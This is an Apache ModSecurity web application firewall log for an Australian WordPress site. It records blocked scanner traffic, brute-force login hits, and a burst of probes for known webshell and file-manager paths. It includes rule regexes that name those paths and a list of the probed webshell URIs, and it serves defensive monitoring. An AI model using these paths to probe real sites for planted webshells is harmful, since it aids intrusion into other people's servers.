[Mon Feb 23 10:39:41.853685 2026] [:error] [pid 39640:tid 39690] [client 170.106.152.218:43398] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZu97dsK--eVCgzvvudQbwAAApQ"]
[Mon Feb 23 14:46:28.177045 2026] [:error] [pid 39640:tid 39688] [client 147.135.215.173:59890] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZv3xNsK--eVCgzvvueYOAAAApI"]
[Mon Feb 23 14:46:31.600717 2026] [:error] [pid 39540:tid 39589] [client 147.135.215.173:42870] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZv3x7sgm9aTWhlRScI6CgAAAdQ"]
[Mon Feb 23 14:46:34.673819 2026] [:error] [pid 25294:tid 25377] [client 147.135.215.173:43278] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZv3yiRCFB3CqIo_jfanIgAAAFg"]
[Mon Feb 23 15:57:00.109817 2026] [:error] [pid 39540:tid 39572] [client 43.159.132.207:58928] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZwITLsgm9aTWhlRScJeXgAAAcM"]
[Mon Feb 23 20:11:10.477310 2026] [:error] [pid 25380:tid 25397] [client 43.135.186.135:34274] [client 43.135.186.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZxD3qKrc8yFQ8fy78o2mgAAAM8"]
[Mon Feb 23 20:44:04.724105 2026] [:error] [pid 39540:tid 39583] [client 159.203.34.114:51435] [client 159.203.34.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.34.114, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aZxLlLsgm9aTWhlRScK3ewAAAc4"]
[Mon Feb 23 20:44:06.201334 2026] [:error] [pid 25295:tid 25342] [client 159.203.34.114:51458] [client 159.203.34.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.34.114, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aZxLlo2Av4J1Jnqi7yLEeAAAAIo"]
[Tue Feb 24 01:27:49.682556 2026] [:error] [pid 60063:tid 60078] [client 43.166.244.192:56372] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZyOFU_6t1uQomVVdUNWHgAAAQ0"]
[Tue Feb 24 02:34:49.762297 2026] [:error] [pid 60063:tid 60083] [client 43.130.174.37:44096] [client 43.130.174.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZydyU_6t1uQomVVdUODOwAAARI"]
[Tue Feb 24 02:42:15.638731 2026] [:error] [pid 29424:tid 29445] [client 37.140.254.177:42173] [client 37.140.254.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZyfh_gElGDq6B8YX7B3pgAAANM"]
[Tue Feb 24 02:42:17.303211 2026] [:error] [pid 29289:tid 29317] [client 37.140.254.116:25385] [client 37.140.254.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aZyfifSAX3I9FAhm7jnQlwAAABg"]
[Tue Feb 24 02:42:19.869956 2026] [:error] [pid 29424:tid 29429] [client 37.140.254.178:28009] [client 37.140.254.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZyfi_gElGDq6B8YX7B3tQAAAMM"]
[Tue Feb 24 02:42:21.997606 2026] [:error] [pid 29290:tid 29379] [client 37.140.254.120:22691] [client 37.140.254.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aZyfjSURJ6Xg7pEW8XYnrAAAAFU"]
[Tue Feb 24 02:42:24.482979 2026] [:error] [pid 29424:tid 29438] [client 37.140.254.141:32787] [client 37.140.254.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aZyfkPgElGDq6B8YX7B3xwAAAMw"]
[Tue Feb 24 02:42:25.365830 2026] [:error] [pid 29424:tid 29427] [client 37.140.254.167:21817] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZyfkfgElGDq6B8YX7B3yQAAAME"]
[Tue Feb 24 02:42:26.033610 2026] [:error] [pid 60063:tid 60073] [client 37.140.254.163:61799] [client 37.140.254.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aZyfkk_6t1uQomVVdUOHvwAAAQg"]
[Tue Feb 24 02:42:26.636877 2026] [:error] [pid 60063:tid 60086] [client 37.140.254.132:63685] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aZyfkk_6t1uQomVVdUOHwwAAARU"]
[Tue Feb 24 02:42:28.235860 2026] [:error] [pid 29289:tid 29314] [client 37.140.254.112:33381] [client 37.140.254.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aZyflPSAX3I9FAhm7jnQmgAAABU"]
[Tue Feb 24 02:42:28.814975 2026] [:error] [pid 29290:tid 29374] [client 37.140.254.20:41993] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aZyflCURJ6Xg7pEW8XYntAAAAFA"]
[Tue Feb 24 02:42:29.677247 2026] [:error] [pid 60063:tid 60081] [client 37.140.254.115:28075] [client 37.140.254.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aZyflU_6t1uQomVVdUOH0gAAARA"]
[Tue Feb 24 02:42:30.976055 2026] [:error] [pid 29424:tid 29443] [client 37.140.254.113:57821] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aZyflvgElGDq6B8YX7B31gAAANE"]
[Tue Feb 24 02:42:32.156780 2026] [:error] [pid 29424:tid 29435] [client 37.140.254.167:60395] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aZyfmPgElGDq6B8YX7B33wAAAMk"]
[Tue Feb 24 02:42:33.021273 2026] [:error] [pid 29291:tid 29398] [client 37.140.254.20:60887] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aZyfmT2gdpbMAXIIRb1-nwAAAIs"]
[Tue Feb 24 02:42:33.918282 2026] [:error] [pid 29424:tid 29426] [client 37.140.254.119:39901] [client 37.140.254.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZyfmfgElGDq6B8YX7B35gAAAMA"]
[Tue Feb 24 02:42:36.295692 2026] [:error] [pid 29424:tid 29433] [client 37.140.254.163:48657] [client 37.140.254.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZyfnPgElGDq6B8YX7B39QAAAMc"]
[Tue Feb 24 02:42:37.650165 2026] [:error] [pid 29424:tid 29435] [client 37.140.254.113:36635] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aZyfnfgElGDq6B8YX7B3-QAAAMk"]
[Tue Feb 24 02:42:42.507158 2026] [:error] [pid 29290:tid 29369] [client 37.140.254.137:47105] [client 37.140.254.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aZyfoiURJ6Xg7pEW8XYnvAAAAEs"]
[Tue Feb 24 02:42:44.916199 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.157:58685] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aZyfpE_6t1uQomVVdUOH5QAAAQE"]
[Tue Feb 24 02:42:47.315307 2026] [:error] [pid 60063:tid 60071] [client 37.140.254.134:56771] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZyfp0_6t1uQomVVdUOH7AAAAQY"]
[Tue Feb 24 02:42:48.282964 2026] [:error] [pid 29291:tid 29402] [client 37.140.254.167:29175] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZyfqD2gdpbMAXIIRb1-qQAAAI4"]
[Tue Feb 24 02:42:49.122627 2026] [:error] [pid 29291:tid 29405] [client 37.140.254.20:57425] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZyfqT2gdpbMAXIIRb1-rQAAAJE"]
[Tue Feb 24 02:42:49.703452 2026] [:error] [pid 29291:tid 29403] [client 37.140.254.159:21773] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aZyfqT2gdpbMAXIIRb1-rgAAAI8"]
[Tue Feb 24 02:42:50.262042 2026] [:error] [pid 29291:tid 29395] [client 37.140.254.123:63339] [client 37.140.254.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZyfqj2gdpbMAXIIRb1-rwAAAIg"]
[Tue Feb 24 02:42:51.738569 2026] [:error] [pid 29290:tid 29376] [client 37.140.254.123:31447] [client 37.140.254.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aZyfqyURJ6Xg7pEW8XYnxwAAAFI"]
[Tue Feb 24 02:42:52.346034 2026] [:error] [pid 29291:tid 29392] [client 37.140.254.160:37721] [client 37.140.254.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aZyfrD2gdpbMAXIIRb1-sgAAAIU"]
[Tue Feb 24 02:42:52.921777 2026] [:error] [pid 29289:tid 29293] [client 37.140.254.152:52275] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZyfrPSAX3I9FAhm7jnQowAAAAA"]
[Tue Feb 24 02:42:57.347141 2026] [:error] [pid 29291:tid 29402] [client 37.140.254.117:47457] [client 37.140.254.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aZyfsT2gdpbMAXIIRb1-wwAAAI4"]
[Tue Feb 24 02:43:00.125796 2026] [:error] [pid 29289:tid 29301] [client 37.140.254.175:63535] [client 37.140.254.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.175, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aZyftPSAX3I9FAhm7jnQqwAAAAg"]
[Tue Feb 24 02:43:04.104970 2026] [:error] [pid 29289:tid 29301] [client 37.140.254.175:63535] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZyfuPSAX3I9FAhm7jnQvQAAAAg"]
[Tue Feb 24 02:43:05.355706 2026] [:error] [pid 29290:tid 29380] [client 37.140.254.158:44059] [client 37.140.254.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.158, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZyfuSURJ6Xg7pEW8XYn2gAAAFY"]
[Tue Feb 24 02:43:05.925834 2026] [:error] [pid 29290:tid 29372] [client 37.140.254.158:44059] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aZyfuSURJ6Xg7pEW8XYn3gAAAE4"]
[Tue Feb 24 02:43:09.016914 2026] [:error] [pid 60063:tid 60067] [client 37.140.254.122:46069] [client 37.140.254.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aZyfvU_6t1uQomVVdUOIAgAAAQI"]
[Tue Feb 24 02:43:12.119472 2026] [:error] [pid 29289:tid 29306] [client 37.140.254.114:25239] [client 37.140.254.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZyfwPSAX3I9FAhm7jnQyAAAAA0"]
[Tue Feb 24 02:43:13.439466 2026] [:error] [pid 29289:tid 29314] [client 37.140.254.159:37671] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aZyfwfSAX3I9FAhm7jnQywAAABU"]
[Tue Feb 24 02:43:15.171045 2026] [:error] [pid 29290:tid 29366] [client 37.140.254.159:63257] [client 37.140.254.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.159, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aZyfwyURJ6Xg7pEW8XYn8QAAAEk"]
[Tue Feb 24 02:43:15.507527 2026] [:error] [pid 29290:tid 29382] [client 37.140.254.159:63257] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aZyfwyURJ6Xg7pEW8XYn8wAAAFg"]
[Tue Feb 24 02:43:21.836867 2026] [:error] [pid 29291:tid 29390] [client 37.140.254.134:31717] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aZyfyT2gdpbMAXIIRb1-6AAAAIM"]
[Tue Feb 24 02:43:23.331718 2026] [:error] [pid 29291:tid 29397] [client 37.140.254.116:61047] [client 37.140.254.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.116, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aZyfyz2gdpbMAXIIRb1-7gAAAIo"]
